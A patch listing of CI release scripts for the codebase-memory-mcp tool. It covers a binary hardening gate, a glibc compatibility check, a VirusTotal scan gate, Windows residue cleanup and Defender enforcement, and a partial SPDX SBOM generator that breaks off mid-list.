# Canary: proves the needle scan can actually see this file's strings. Without
|
||||
# it, handing the gate a gzip, a stub or a 0-byte file would pass every
|
||||
# absence assertion. 168+ occurrences in a real artifact, 0 in anything else.
|
||||
CANARY_NEEDLE='codebase-memory-mcp'
|
||||
|
||||
# ── Args ────────────────────────────────────────────────────────────
|
||||
VARIANT=auto
|
||||
TARGETS=()
|
||||
for arg in "$@"; do
|
||||
case "$arg" in
|
||||
--variant=*) VARIANT="${arg#--variant=}" ;;
|
||||
-*)
|
||||
echo "FAIL: unknown flag $arg (see --help)" >&2
|
||||
exit 2
|
||||
;;
|
||||
*) TARGETS+=("$arg") ;;
|
||||
esac
|
||||
done
|
||||
case "$VARIANT" in
|
||||
auto | standard | ui) ;;
|
||||
*)
|
||||
echo "FAIL: --variant must be auto, standard or ui (got '$VARIANT')" >&2
|
||||
exit 2
|
||||
;;
|
||||
esac
|
||||
if [ "${#TARGETS[@]}" -eq 0 ]; then
|
||||
echo "FAIL: no binaries or directories given (see --help)" >&2
|
||||
exit 2
|
||||
fi
|
||||
|
||||
# ── ELF program-header reader ───────────────────────────────────────
|
||||
# Resolved lazily: a Windows/macOS-only run must not fail for want of readelf,
|
||||
# but an ELF in scope with no reader available must fail loudly (exit 2) rather
|
||||
# than skip the executable-stack assertion.
|
||||
ELF_READER=''
|
||||
ELF_READER_KIND=''
|
||||
resolve_elf_reader() {
|
||||
[ -n "$ELF_READER" ] && return 0
|
||||
for cand in readelf llvm-readelf /opt/homebrew/opt/llvm/bin/llvm-readelf \
|
||||
/usr/local/opt/llvm/bin/llvm-readelf; do
|
||||
if command -v "$cand" >/dev/null 2>&1; then
|
||||
ELF_READER="$cand"
|
||||
ELF_READER_KIND=readelf
|
||||
return 0
|
||||
fi
|
||||
done
|
||||
for cand in objdump llvm-objdump /opt/homebrew/opt/llvm/bin/llvm-objdump; do
|
||||
if command -v "$cand" >/dev/null 2>&1; then
|
||||
ELF_READER="$cand"
|
||||
ELF_READER_KIND=objdump
|
||||
return 0
|
||||
fi
|
||||
done
|
||||
return 1
|
||||
}
|
||||
|
||||
# Echoes the GNU_STACK flag field ("RWE", "RW", "rwx", "rw-"), empty if the
|
||||
# header is absent or unparseable.
|
||||
gnu_stack_flags() {
|
||||
case "$ELF_READER_KIND" in
|
||||
readelf)
|
||||
"$ELF_READER" -lW "$1" 2>/dev/null |
|
||||
awk '/GNU_STACK/ { print $(NF - 1); exit }'
|
||||
;;
|
||||
objdump)
|
||||
# objdump -p prints " STACK off ..." and the flags on the next line.
|
||||
"$ELF_READER" -p "$1" 2>/dev/null |
|
||||
awk '/STACK off/ { getline
|
||||
for (i = 1; i <= NF; i++)
|
||||
if ($i == "flags") { print $(i + 1); exit } }'
|
||||
;;
|
||||
esac
|
||||
}
|
||||
|
||||
# ── Reporting ───────────────────────────────────────────────────────
|
||||
# PASS and FAIL both go to stdout so the per-assertion sequence stays in order
|
||||
# in a CI log (stderr would interleave nondeterministically); only the final
|
||||
# verdict is echoed to stderr, which is what a failed step's tail shows.
|
||||
pass_count=0
|
||||
fail_count=0
|
||||
FAILURES=()
|
||||
|
||||
report() { # verdict, assertion-id, file-token, message
|
||||
printf '%-4s %-22s %s: %s\n' "$1" "$2" "$3" "$4"
|
||||
if [ "$1" = FAIL ]; then
|
||||
fail_count=$((fail_count + 1))
|
||||
FAILURES+=("$2 $3: $4")
|
||||
else
|
||||
pass_count=$((pass_count + 1))
|
||||
fi
|
||||
}
|
||||
|
||||
assert_absent() { # file, token, assertion-id, needle
|
||||
if LC_ALL=C grep -a -q -F -e "$4" "$1"; then
|
||||
report FAIL "$3" "$2" "'$4' is PRESENT (must not ship)"
|
||||
else
|
||||
report PASS "$3" "$2" "'$4' absent"
|
||||
fi
|
||||
}
|
||||
|
||||
assert_present() { # file, token, assertion-id, needle, why-pass, why-fail
|
||||
if LC_ALL=C grep -a -q -F -e "$4" "$1"; then
|
||||
report PASS "$3" "$2" "'$4' present ($5)"
|
||||
else
|
||||
report FAIL "$3" "$2" "'$4' is MISSING — $6"
|
||||
fi
|
||||
}
|
||||
|
||||
# ── Per-file checks ─────────────────────────────────────────────────
|
||||
detect_format() { # file → elf | macho | pe | other
|
||||
magic=$(LC_ALL=C od -An -N4 -tx1 "$1" 2>/dev/null | tr -d ' \n')
|
||||
case "$magic" in
|
||||
7f454c46) echo elf ;;
|
||||
cffaedfe | cefaedfe | feedface | feedfacf | cafebabe | bebafeca) echo macho ;;
|
||||
4d5a*) echo pe ;;
|
||||
*) echo other ;;
|
||||
esac
|
||||
}
|
||||
|
||||
checked_files=0
|
||||
skipped_files=0
|
||||
|
||||
check_file() {
|
||||
file="$1"
|
||||
# Two path components: both variants ship a binary literally named
|
||||
# "codebase-memory-mcp", so the parent directory is what tells them apart.
|
||||
token=$(printf '%s' "$file" | awk -F/ '{ if (NF > 1) print $(NF - 1) "/" $NF; else print $NF }')
|
||||
fmt=$(detect_format "$file")
|
||||
if [ "$fmt" = other ]; then
|
||||
printf 'skip %-22s %s: not an ELF/Mach-O/PE binary\n' '-' "$token"
|
||||
skipped_files=$((skipped_files + 1))
|
||||
return 0
|
||||
fi
|
||||
|
||||
is_ui=0
|
||||
case "$VARIANT" in
|
||||
ui) is_ui=1 ;;
|
||||
standard) is_ui=0 ;;
|
||||
auto)
|
||||
# The UI archive is codebase-memory-mcp-ui-<os>-<arch>, but the binary
|
||||
# inside it is just "codebase-memory-mcp" — so the whole path decides,
|
||||
# not the basename. Printed below so a misclassified path is visible in
|
||||
# the log instead of silently disarming the UI assertion.
|
||||
case "$file" in
|
||||
*-ui | *-ui.* | *-ui-* | *-ui/*) is_ui=1 ;;
|
||||
esac
|
||||
;;
|
||||
esac
|
||||
|
||||
variant_label=standard
|
||||
[ "$is_ui" -eq 1 ] && variant_label='UI (A5-no-ui-http not applicable)'
|
||||
printf '\n── %s [%s, %s] ──\n' "$token" "$fmt" "$variant_label"
|
||||
checked_files=$((checked_files + 1))
|
||||
|
||||
# A0 — anti-vacuity canary; every assertion below is an absence check.
|
||||
assert_present "$file" "$token" A0-canary "$CANARY_NEEDLE" \
|
||||
'the needle scan can read this file' \
|
||||
'this is not one of our artifacts, or its strings are unreadable (packed/compressed/truncated) — every absence assertion below would pass vacuously'
|
||||
|
||||
# A1 — executable stack (ELF only). Every Linux artifact of v0.9.1-rc.1
|
||||
# shipped GNU_STACK RWE: a writable+executable stack, which no modern
|
||||
# binary has and which any classifier weighs heavily.
|
||||
if [ "$fmt" = elf ]; then
|
||||
if ! resolve_elf_reader; then
|
||||
echo "FAIL: no readelf/llvm-readelf/objdump available; cannot assert" \
|
||||
"the non-executable stack for $token — refusing to skip it" >&2
|
||||
exit 2
|
||||
fi
|
||||
flags=$(gnu_stack_flags "$file")
|
||||
# readelf spells the flags "RWE"/"RW", objdump "rwx"/"rw-" — match both.
|
||||
case "$flags" in
|
||||
'')
|
||||
report FAIL A1-noexec-stack "$token" \
|
||||
"no GNU_STACK program header found ($ELF_READER) — without PT_GNU_STACK the loader may fall back to READ_IMPLIES_EXEC"
|
||||
;;
|
||||
*E* | *X* | *e* | *x*)
|
||||
report FAIL A1-noexec-stack "$token" \
|
||||
"GNU_STACK is $flags — the stack is EXECUTABLE (link with -z noexecstack; check .S/asm objects for a missing .note.GNU-stack)"
|
||||
;;
|
||||
*)
|
||||
report PASS A1-noexec-stack "$token" "GNU_STACK is $flags (no execute bit)"
|
||||
;;
|
||||
esac
|
||||
else
|
||||
printf 'n/a %-22s %s: executable-stack check is ELF-only\n' A1-noexec-stack "$token"
|
||||
fi
|
||||
|
||||
# A2 — test-only seams.
|
||||
for needle in "${SEAM_NEEDLES[@]}"; do
|
||||
assert_absent "$file" "$token" A2-no-test-seams "$needle"
|
||||
done
|
||||
# Sweep for seams nobody thought to pin: a new CBM_TEST_* env var added to
|
||||
# production code lands here on its first release, not on the next audit.
|
||||
# Two seams remain in release artifacts BY DECISION, so the wildcard is an
|
||||
# allowlist rather than a blanket ban: scripts/smoke-test.sh runs against the
|
||||
# real release artifact, and these are what let it do so honestly —
|
||||
# CRASH_ON/HANG_ON inject the faults that prove supervisor recovery, and
|
||||
# WINDOWS_USER_PATH_RUN_ID is what stops the PATH smoke from writing the
|
||||
# tester's actual PATH. Deleting them would trade genuine release-artifact
|
||||
# coverage for a cosmetic win. Anything NOT on this list is a novel seam and
|
||||
# fails, which is the property that matters: the list can only shrink by
|
||||
# decision, never grow by accident.
|
||||
seam_allowed='CBM_TEST_CRASH_ON CBM_TEST_HANG_ON CBM_TEST_WINDOWS_USER_PATH_RUN_ID'
|
||||
seam_unexpected=''
|
||||
for found in $(LC_ALL=C grep -a -o -E 'CBM_TEST_[A-Za-z0-9_]+' "$file" 2>/dev/null |
|
||||
sort -u || true); do
|
||||
case " $seam_allowed " in
|
||||
*" $found "*) ;;
|
||||
*) seam_unexpected="$seam_unexpected $found" ;;
|
||||
esac
|
||||
done
|
||||
if [ -n "$seam_unexpected" ]; then
|
||||
report FAIL A2-no-test-seams "$token" \
|
||||
"unexpected CBM_TEST_* seam(s):$seam_unexpected (allowlist: $seam_allowed)"
|
||||
else
|
||||
report PASS A2-no-test-seams "$token" 'no CBM_TEST_* seams beyond the smoke allowlist'
|
||||
fi
|
||||
|
||||
# A3 — updater/release URLs.
|
||||
for needle in "${UPDATER_NEEDLES[@]}"; do
|
||||
assert_absent "$file" "$token" A3-no-updater-urls "$needle"
|
||||
done
|
||||
|
||||
# A4 — SQLite loadable-extension surface.
|
||||
for needle in "${SQLITE_LOADEXT_NEEDLES[@]}"; do
|
||||
assert_absent "$file" "$token" A4-no-sqlite-loadext "$needle"
|
||||
done
|
||||
# Positive control for A4: the three needles above are all *absent* on a
|
||||
# stripped build even when the feature is compiled in, so on its own that
|
||||
# assertion can pass vacuously. SQLite's own compile-option table names
|
||||
# every OMIT_* it was built with — when that table is present (it ships
|
||||
# unless SQLITE_OMIT_COMPILEOPTION_DIAGS is set) it proves the omission
|
||||
# positively rather than by absence.
|
||||
if LC_ALL=C grep -a -q -F -e 'sqlite_compileoption_get' "$file"; then
|
||||
assert_present "$file" "$token" A4-no-sqlite-loadext 'OMIT_LOAD_EXTENSION' \
|
||||
'sqlite reports SQLITE_OMIT_LOAD_EXTENSION' \
|
||||
'sqlite was NOT built with SQLITE_OMIT_LOAD_EXTENSION, so the dlopen()/LoadLibrary() extension loader is linked in'
|
||||
else
|
||||
printf 'n/a %-22s %s: %s\n' A4-no-sqlite-loadext "$token" \
|
||||
"sqlite compile-option table absent; A4 rests on absence needles only"
|
||||
fi
|
||||
|
||||
# A5 — UI/HTTP subsystem, standard artifacts only.
|
||||
#
|
||||
# NOT YET ENFORCED. src/ui/{config,http_server,layout3d,httpd,embedded_stub}.c
|
||||
# are still in PROD_SRCS, and the standard build merely substitutes empty
|
||||
# embedded assets — so the HTTP server and its popen("ps … | grep") process
|
||||
# enumerator are linked into artifacts that can never serve a UI. Excluding
|
||||
# them is a real refactor: four files outside src/ui (src/main.c,
|
||||
# src/daemon/host.c, src/daemon/application.c, src/mcp/index_supervisor.c)
|
||||
# reference UI symbols, including the daemon that serves the UI.
|
||||
#
|
||||
# Until that lands, this assertion reports rather than fails. A gate everyone
|
||||
# knows is red teaches people to ignore gates, and a known-failing check has
|
||||
# no more enforcement value than this note — but the needles are kept live and
|
||||
# exercised so that the day the split lands, flipping CBM_CHECK_UI_ABSENT=1
|
||||
# (then making it the default) is a one-line change and not a rewrite.
|
||||
if [ "$is_ui" -eq 1 ]; then
|
||||
printf 'n/a %-22s %s: UI artifact, HTTP server ships here by design\n' \
|
||||
A5-no-ui-http "$token"
|
||||
elif [ "${CBM_CHECK_UI_ABSENT:-0}" = "1" ]; then
|
||||
for needle in "${UI_HTTP_NEEDLES[@]}"; do
|
||||
assert_absent "$file" "$token" A5-no-ui-http "$needle"
|
||||
done
|
||||
else
|
||||
ui_hits=0
|
||||
for needle in "${UI_HTTP_NEEDLES[@]}"; do
|
||||
if LC_ALL=C grep -a -q -F -e "$needle" "$file"; then
|
||||
ui_hits=$((ui_hits + 1))
|
||||
fi
|
||||
done
|
||||
printf 'INFO %-22s %s: %d/%d UI/HTTP needles present (no-UI split pending; set CBM_CHECK_UI_ABSENT=1 to enforce)\n' \
|
||||
A5-no-ui-http "$token" "$ui_hits" "${#UI_HTTP_NEEDLES[@]}"
|
||||
fi
|
||||
}
|
||||
|
||||
# ── Walk the targets ────────────────────────────────────────────────
|
||||
for target in "${TARGETS[@]}"; do
|
||||
if [ -d "$target" ]; then
|
||||
# "! -type d" rather than "-type f": a symlinked or otherwise unusual
|
||||
# artifact must produce a visible skip line, never vanish from the run.
|
||||
# sort keeps the report order stable across platforms (find order is not).
|
||||
while IFS= read -r f; do
|
||||
[ -n "$f" ] && check_file "$f"
|
||||
done <<EOF
|
||||
$(find "$target" ! -type d | LC_ALL=C sort)
|
||||
EOF
|
||||
elif [ -f "$target" ]; then
|
||||
check_file "$target"
|
||||
else
|
||||
echo "FAIL: $target is neither a file nor a directory" >&2
|
||||
exit 2
|
||||
fi
|
||||
done
|
||||
|
||||
printf '\n'
|
||||
if [ "$checked_files" -eq 0 ]; then
|
||||
echo "FAIL: no ELF/Mach-O/PE binary found in the given targets ($skipped_files file(s) skipped)" >&2
|
||||
echo " a gate that checked nothing is not a green gate" >&2
|
||||
exit 2
|
||||
fi
|
||||
if [ "$fail_count" -ne 0 ]; then
|
||||
echo "BINARY COMPOSITION GATE FAILED: $fail_count assertion(s) over $checked_files binary/binaries" >&2
|
||||
for f in "${FAILURES[@]}"; do
|
||||
echo " - $f" >&2
|
||||
done
|
||||
exit 1
|
||||
fi
|
||||
echo "BINARY COMPOSITION OK: $pass_count assertion(s) passed over $checked_files binary/binaries"
|
||||
@@ -0,0 +1,22 @@
|
||||
#!/usr/bin/env bash
|
||||
# Regression guard: the linux binary we ship must START on OLD glibc.
|
||||
#
|
||||
# The standard linux release binary dynamically links glibc 2.38+ / GLIBCXX
|
||||
# 3.4.32 and fails to start on Debian 11, RHEL/Rocky 8, Ubuntu 20.04, Amazon
|
||||
# Linux 2, etc. The fix points all linux install + self-update paths at the
|
||||
# fully-static "-portable" asset. This runs a given linux binary inside an
|
||||
# old-glibc container (debian:bullseye, glibc 2.31) and asserts it starts:
|
||||
# - RED for the dynamic standard binary (GLIBC_2.38 not found)
|
||||
# - GREEN for the static -portable binary (runs anywhere)
|
||||
#
|
||||
# Usage: check-glibc-compat.sh <path-to-linux-binary>
|
||||
# Env: GLIBC_TEST_IMAGE (default: debian:bullseye-slim, glibc 2.31)
|
||||
set -euo pipefail
|
||||
|
||||
BIN="${1:?usage: check-glibc-compat.sh <path-to-linux-binary>}"
|
||||
IMAGE="${GLIBC_TEST_IMAGE:-debian:bullseye-slim}"
|
||||
BIN_ABS="$(cd "$(dirname "$BIN")" && pwd)/$(basename "$BIN")"
|
||||
|
||||
echo "==> running $(basename "$BIN") --version inside ${IMAGE} (glibc 2.31)"
|
||||
docker run --rm -v "${BIN_ABS}:/cbm:ro" "${IMAGE}" /cbm --version
|
||||
echo "PASS: binary starts on old glibc (${IMAGE})"
|
||||
@@ -0,0 +1,91 @@
|
||||
#!/usr/bin/env bash
|
||||
# Wait for VirusTotal scans to complete and check results.
|
||||
# Expects: VT_API_KEY, VT_ANALYSIS (comma-separated "file=URL" pairs)
|
||||
set -euo pipefail
|
||||
|
||||
MIN_ENGINES=60
|
||||
rm -f /tmp/vt_gate_fail
|
||||
|
||||
echo "=== Waiting for VirusTotal scans to fully complete ==="
|
||||
|
||||
echo "$VT_ANALYSIS" | tr ',' '\n' | while IFS= read -r entry; do
|
||||
[ -z "$entry" ] && continue
|
||||
FILE=$(echo "$entry" | cut -d'=' -f1)
|
||||
URL=$(echo "$entry" | cut -d'=' -f2-)
|
||||
BASENAME=$(basename "$FILE")
|
||||
|
||||
# Extract base64 analysis ID from URL
|
||||
ANALYSIS_ID=$(echo "$URL" | sed -n 's|.*/file-analysis/\([^/]*\)/.*|\1|p')
|
||||
if [ -z "$ANALYSIS_ID" ]; then
|
||||
ANALYSIS_ID=$(echo "$URL" | grep -oE '[a-f0-9]{64}')
|
||||
if [ -z "$ANALYSIS_ID" ]; then
|
||||
echo "BLOCKED: Cannot parse VirusTotal URL: $URL"
|
||||
echo "FAIL" >> /tmp/vt_gate_fail
|
||||
continue
|
||||
fi
|
||||
fi
|
||||
|
||||
# Poll until completed (max 120 min)
|
||||
SCAN_COMPLETE=false
|
||||
for attempt in $(seq 1 720); do
|
||||
RESULT=$(curl -sf --max-time 10 \
|
||||
-H "x-apikey: $VT_API_KEY" \
|
||||
"https://www.virustotal.com/api/v3/analyses/$ANALYSIS_ID" 2>/dev/null || echo "")
|
||||
|
||||
if [ -z "$RESULT" ]; then
|
||||
echo " $BASENAME: waiting (attempt $attempt)..."
|
||||
sleep 10
|
||||
continue
|
||||
fi
|
||||
|
||||
STATS=$(echo "$RESULT" | python3 -c "
|
||||
import json, sys
|
||||
d = json.loads(sys.stdin.read())
|
||||
attrs = d.get('data', {}).get('attributes', {})
|
||||
status = attrs.get('status', 'queued')
|
||||
stats = attrs.get('stats', {})
|
||||
malicious = stats.get('malicious', 0)
|
||||
suspicious = stats.get('suspicious', 0)
|
||||
undetected = stats.get('undetected', 0)
|
||||
harmless = stats.get('harmless', 0)
|
||||
total = sum(stats.values())
|
||||
completed = malicious + suspicious + undetected + harmless
|
||||
print(f'{status},{malicious},{suspicious},{completed},{total}')
|
||||
" 2>/dev/null || echo "queued,0,0,0,0")
|
||||
|
||||
STATUS=$(echo "$STATS" | cut -d',' -f1)
|
||||
MALICIOUS=$(echo "$STATS" | cut -d',' -f2)
|
||||
SUSPICIOUS=$(echo "$STATS" | cut -d',' -f3)
|
||||
COMPLETED=$(echo "$STATS" | cut -d',' -f4)
|
||||
TOTAL=$(echo "$STATS" | cut -d',' -f5)
|
||||
|
||||
if [ "$STATUS" = "completed" ]; then
|
||||
SCAN_COMPLETE=true
|
||||
if [ "$COMPLETED" -lt "$MIN_ENGINES" ]; then
|
||||
echo "NOTE: $BASENAME completed with only $COMPLETED/$TOTAL engines (< $MIN_ENGINES)"
|
||||
fi
|
||||
if [ "$MALICIOUS" -gt 0 ] || [ "$SUSPICIOUS" -gt 0 ]; then
|
||||
echo "BLOCKED: $BASENAME flagged ($MALICIOUS malicious, $SUSPICIOUS suspicious / $COMPLETED engines)"
|
||||
echo " $URL"
|
||||
echo "FAIL" >> /tmp/vt_gate_fail
|
||||
else
|
||||
echo "OK: $BASENAME clean ($COMPLETED engines, 0 detections)"
|
||||
fi
|
||||
break
|
||||
fi
|
||||
|
||||
echo " $BASENAME: $COMPLETED/$TOTAL engines ($STATUS, attempt $attempt)..."
|
||||
sleep 10
|
||||
done
|
||||
|
||||
if [ "$SCAN_COMPLETE" != "true" ]; then
|
||||
echo "WARNING: $BASENAME scan did not complete in time"
|
||||
echo "FAIL" >> /tmp/vt_gate_fail
|
||||
fi
|
||||
done
|
||||
|
||||
if [ -f /tmp/vt_gate_fail ]; then
|
||||
echo "BLOCKED: One or more VirusTotal checks failed"
|
||||
exit 1
|
||||
fi
|
||||
echo "=== All VirusTotal scans passed ==="
|
||||
@@ -0,0 +1,84 @@
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Sweep cbm test residue from a Windows test host and assert a runner-like free
|
||||
disk, before any test/smoke/soak run.
|
||||
|
||||
.DESCRIPTION
|
||||
A GitHub-hosted runner is ephemeral: every job starts on a fresh image with a
|
||||
known-free disk. The local Windows VM is long-lived, so each run leaves temp
|
||||
roots, staged bundles and ~100 MB binary copies behind. Left alone that drift
|
||||
is not merely untidy - it changes the environment under test, and a disk that
|
||||
has quietly filled produces ERROR_DISK_FULL deep inside the install path, which
|
||||
reads as a product failure rather than an environment one. That misdiagnosis
|
||||
has already cost a full session.
|
||||
|
||||
So every run starts from the same shape the runner would give it: residue gone,
|
||||
free space asserted. Refusing to start is correct - an unusable environment is a
|
||||
run blocker to escalate, never something to quietly run anyway on a bad disk.
|
||||
|
||||
Sweeps only cbm-prefixed directories under the profile and TEMP. The checkout
|
||||
(C:\cbm) is not under either, and is never touched.
|
||||
|
||||
.PARAMETER MinFreeGB
|
||||
Free space required before a run. Defaults to 14, the SSD size a GitHub-hosted
|
||||
Windows runner advertises, so the local venue cannot run under conditions the
|
||||
CI venue would never see.
|
||||
|
||||
.PARAMETER SkipGate
|
||||
Sweep and report, but do not fail when free space is short. For inspection only.
|
||||
#>
|
||||
[CmdletBinding()]
|
||||
param(
|
||||
[double]$MinFreeGB = 14,
|
||||
[switch]$SkipGate
|
||||
)
|
||||
|
||||
$ErrorActionPreference = 'Stop'
|
||||
|
||||
function Get-FreeGB {
|
||||
[math]::Round((Get-PSDrive C).Free / 1GB, 2)
|
||||
}
|
||||
|
||||
# The guard suites deliberately build adversarial trees - names with spaces and
|
||||
# non-representable characters, deep .cbm-retired/generations nesting - whose
|
||||
# full paths exceed MAX_PATH. Remove-Item cannot address those and fails with
|
||||
# DirectoryNotFoundException, so `rd` under the \\?\ prefix (which bypasses the
|
||||
# 260-char limit) is the fallback. Every removal is then VERIFIED: an earlier
|
||||
# revision counted attempts, not successes, and cheerfully reported 86 swept
|
||||
# directories while 11 GB of them were still sitting on the disk.
|
||||
function Remove-ResidueDir([string]$Path) {
|
||||
Remove-Item -LiteralPath $Path -Recurse -Force -ErrorAction SilentlyContinue
|
||||
if (-not (Test-Path -LiteralPath $Path)) { return $true }
|
||||
& cmd.exe /c "rd /s /q `"\\?\$Path`"" 2>&1 | Out-Null
|
||||
return -not (Test-Path -LiteralPath $Path)
|
||||
}
|
||||
|
||||
$before = Get-FreeGB
|
||||
$removed = 0
|
||||
$failed = @()
|
||||
$roots = @($env:USERPROFILE, $env:TEMP) | Where-Object { $_ } | Select-Object -Unique
|
||||
|
||||
foreach ($root in $roots) {
|
||||
if (-not (Test-Path -LiteralPath $root)) { continue }
|
||||
Get-ChildItem -LiteralPath $root -Directory -Filter 'cbm-*' -ErrorAction SilentlyContinue |
|
||||
ForEach-Object {
|
||||
if (Remove-ResidueDir $_.FullName) {
|
||||
$removed++
|
||||
} else {
|
||||
$failed += $_.FullName
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
$after = Get-FreeGB
|
||||
Write-Output "residue-dirs-removed=$removed residue-dirs-failed=$($failed.Count) free-gb-before=$before free-gb-after=$after"
|
||||
foreach ($f in $failed) { Write-Warning "could not sweep: $f" }
|
||||
|
||||
if (-not $SkipGate -and $after -lt $MinFreeGB) {
|
||||
$msg = "BLOCKED: $after GB free, need $MinFreeGB GB. " +
|
||||
"A GitHub runner never starts this low, so a run here would not be " +
|
||||
"comparable - and a disk that fills mid-run surfaces as a bogus " +
|
||||
"product failure rather than an environment one. Free space, re-run."
|
||||
Write-Error $msg
|
||||
exit 1
|
||||
}
|
||||
@@ -0,0 +1,59 @@
|
||||
# ensure-defender.ps1 — Windows Defender real-time protection must be ACTIVE
|
||||
# on every Windows venue: the local test VM and every GitHub Windows runner
|
||||
# alike. The AV interaction surface (file locks on fresh binaries, scan-on-
|
||||
# first-execute latency, quarantine behavior) is part of what the Windows legs
|
||||
# test; a venue with Defender off is testing a different operating system.
|
||||
#
|
||||
# GitHub's runner images ship with Defender disabled, so this script ENABLES
|
||||
# it, then VERIFIES it is actually running — and fails closed if it cannot be
|
||||
# made active. No silent skip: a leg that cannot get Defender on must go red,
|
||||
# not quietly measure the wrong environment. (Same doctrine as the smoke
|
||||
# no-skip rules: a gate that can be skipped is not a gate.)
|
||||
#
|
||||
# Canonical entry: local VM preflight (win.sh) and the Windows CI jobs all run
|
||||
# THIS file — venue parity by construction.
|
||||
|
||||
$ErrorActionPreference = 'Stop'
|
||||
|
||||
function Try-Step {
|
||||
param([string]$What, [scriptblock]$Action)
|
||||
try {
|
||||
& $Action
|
||||
Write-Host "ensure-defender: $What - ok"
|
||||
} catch {
|
||||
# Individual enable steps may legitimately no-op (already enabled,
|
||||
# service already running); only the final verification gates.
|
||||
Write-Host "ensure-defender: $What - $($_.Exception.Message)"
|
||||
}
|
||||
}
|
||||
|
||||
Try-Step "WinDefend service startup type" {
|
||||
Set-Service -Name WinDefend -StartupType Automatic
|
||||
}
|
||||
Try-Step "WinDefend service start" {
|
||||
Start-Service -Name WinDefend
|
||||
}
|
||||
Try-Step "enable real-time monitoring" {
|
||||
Set-MpPreference -DisableRealtimeMonitoring $false
|
||||
}
|
||||
|
||||
$status = $null
|
||||
try {
|
||||
$status = Get-MpComputerStatus
|
||||
} catch {
|
||||
Write-Host "ensure-defender: FAIL - Defender engine unavailable: $($_.Exception.Message)"
|
||||
exit 1
|
||||
}
|
||||
|
||||
if (-not $status.AntivirusEnabled) {
|
||||
Write-Host "ensure-defender: FAIL - antivirus engine is not enabled on this venue"
|
||||
exit 1
|
||||
}
|
||||
if (-not $status.RealTimeProtectionEnabled) {
|
||||
Write-Host "ensure-defender: FAIL - real-time protection is OFF and could not be enabled"
|
||||
exit 1
|
||||
}
|
||||
|
||||
Write-Host ("=== ensure-defender: ACTIVE (engine {0}, signatures {1}, RTP on) ===" -f `
|
||||
$status.AMEngineVersion, $status.AntivirusSignatureVersion)
|
||||
exit 0
|
||||
@@ -0,0 +1,57 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Generate the release SPDX SBOM (sbom.json).
|
||||
|
||||
Canonical release step (called by release.yml). Lived inline in workflow YAML
|
||||
until 2026-07-26 — vendored-dependency versions belong in a reviewable,
|
||||
venue-independent script, and the venue-parity contract forbids logic in
|
||||
workflow run-blocks.
|
||||
|
||||
Usage: scripts/ci/generate-sbom.py <version> (e.g. v0.9.1)
|
||||
|
||||
Keep versionInfo entries in sync with the vendored trees; the authoritative
|
||||
per-grammar license list is internal/cbm/vendored/grammars/MANIFEST.md.
|
||||
"""
|
||||
from __future__ import annotations
|
||||
|
||||
import datetime
|
||||
import glob
|
||||
import json
|
||||
import os
|
||||
import sys
|
||||
|
||||
if len(sys.argv) != 2 or sys.argv[1] in {"-h", "--help"}:
|
||||
print(__doc__.strip(), file=sys.stderr)
|
||||
sys.exit(0 if len(sys.argv) == 2 else 2)
|
||||
|
||||
version = sys.argv[1]
|
||||
n_grammars = len(
|
||||
[d for d in glob.glob("internal/cbm/vendored/grammars/*") if os.path.isdir(d)]
|
||||
)
|
||||
sbom = {
|
||||
"spdxVersion": "SPDX-2.3",
|
||||
"dataLicense": "CC0-1.0",
|
||||
"SPDXID": "SPDXRef-DOCUMENT",
|
||||
"name": f"codebase-memory-mcp-{version}",
|
||||
"documentNamespace": f"https://github.com/DeusData/codebase-memory-mcp/releases/{version}",
|
||||
"creationInfo": {
|
||||
"created": datetime.datetime.now(datetime.timezone.utc).strftime("%Y-%m-%dT%H:%M:%SZ"),
|
||||
"creators": ["Tool: codebase-memory-mcp-release-pipeline"],
|
||||
},
|
||||
"packages": [
|
||||
{"SPDXID": "SPDXRef-Package-sqlite3", "name": "sqlite3", "versionInfo": "3.51.3", "licenseDeclared": "blessing", "downloadLocation": "https://sqlite.org", "filesAnalyzed": False},
|
||||
{"SPDXID": "SPDXRef-Package-yyjson", "name": "yyjson", "versionInfo": "0.12.0", "licenseDeclared": "MIT", "downloadLocation": "https://github.com/ibireme/yyjson", "filesAnalyzed": False},
|
||||
{"SPDXID": "SPDXRef-Package-mimalloc", "name": "mimalloc", "versionInfo": "3.3.2", "licenseDeclared": "MIT", "downloadLocation": "https://github.com/microsoft/mimalloc", "filesAnalyzed": False},
|
||||
{"SPDXID": "SPDXRef-Package-xxhash", "name": "xxhash", "versionInfo": "0.8.3", "licenseDeclared": "BSD-2-Clause", "downloadLocation": "https://github.com/Cyan4973/xxHash", "filesAnalyzed": False},
|
||||
{"SPDXID": "SPDXRef-Package-tre", "name": "tre", "versionInfo": "0.8.0", "licenseDeclared": "BSD-2-Clause", "downloadLocation": "https://github.com/laurikari/tre", "filesAnalyzed": False},
|
||||
{"SPDXID": "SPDXRef-Package-tree-sitter", "name": "tree-sitter", "versionInfo": "0.24.4", "licenseDeclared": "MIT", "downloadLocation": "https://github.com/tree-sitter/tree-sitter", "filesAnalyzed": False},
|
||||
{"SPDXID": "SPDXRef-Package-lz4", "name": "lz4", "versionInfo": "1.10.0", "licenseDeclared": "BSD-2-Clause", "downloadLocation": "https://github.com/lz4/lz4", "filesAnalyzed": False},
|
||||
{"SPDXID": "SPDXRef-Package-zstd", "name": "zstd", "versionInfo": "1.5.7", "licenseDeclared": "BSD-3-Clause", "downloadLocation": "https://github.com/facebook/zstd", "filesAnalyzed": False},
|
||||
{"SPDXID": "SPDXRef-Package-simplecpp", "name": "simplecpp", "versionInfo": "1.x", "licenseDeclared": "0BSD", "downloadLocation": "https://github.com/danmar/simplecpp", "filesAnalyzed": False},
|
||||
{"SPDXID": "SPDXRef-Package-verstable", "name": "verstable", "versionInfo": "2.2.1", "licenseDeclared": "MIT", "downloadLocation": "https://github.com/JacksonAllan/Verstable", "filesAnalyzed": False},
|
||||
{"SPDXID": "SPDXRef-Package-wyhash", "name": "wyhash", "versionInfo": "final-4.3", "licenseDeclared": "Unlicense", "downloadLocation": "https://github.com/wangyi-fudan/wyhash", "filesAnalyzed": False},
|
||||
{"SPDXID": "SPDXRef-Package-nomic-embed-code", "name": "nomic-embed-code-token-embeddings", "versionInfo": "1.0", "licenseDeclared": "Apache-2.0", "downloadLocation": "https://huggingface.co/nomic-ai/nomic-embed-code", "filesAnalyzed": False, "comment": "Derived int8 token embeddings; see vendored/nomic/NOTICE"},
|
||||
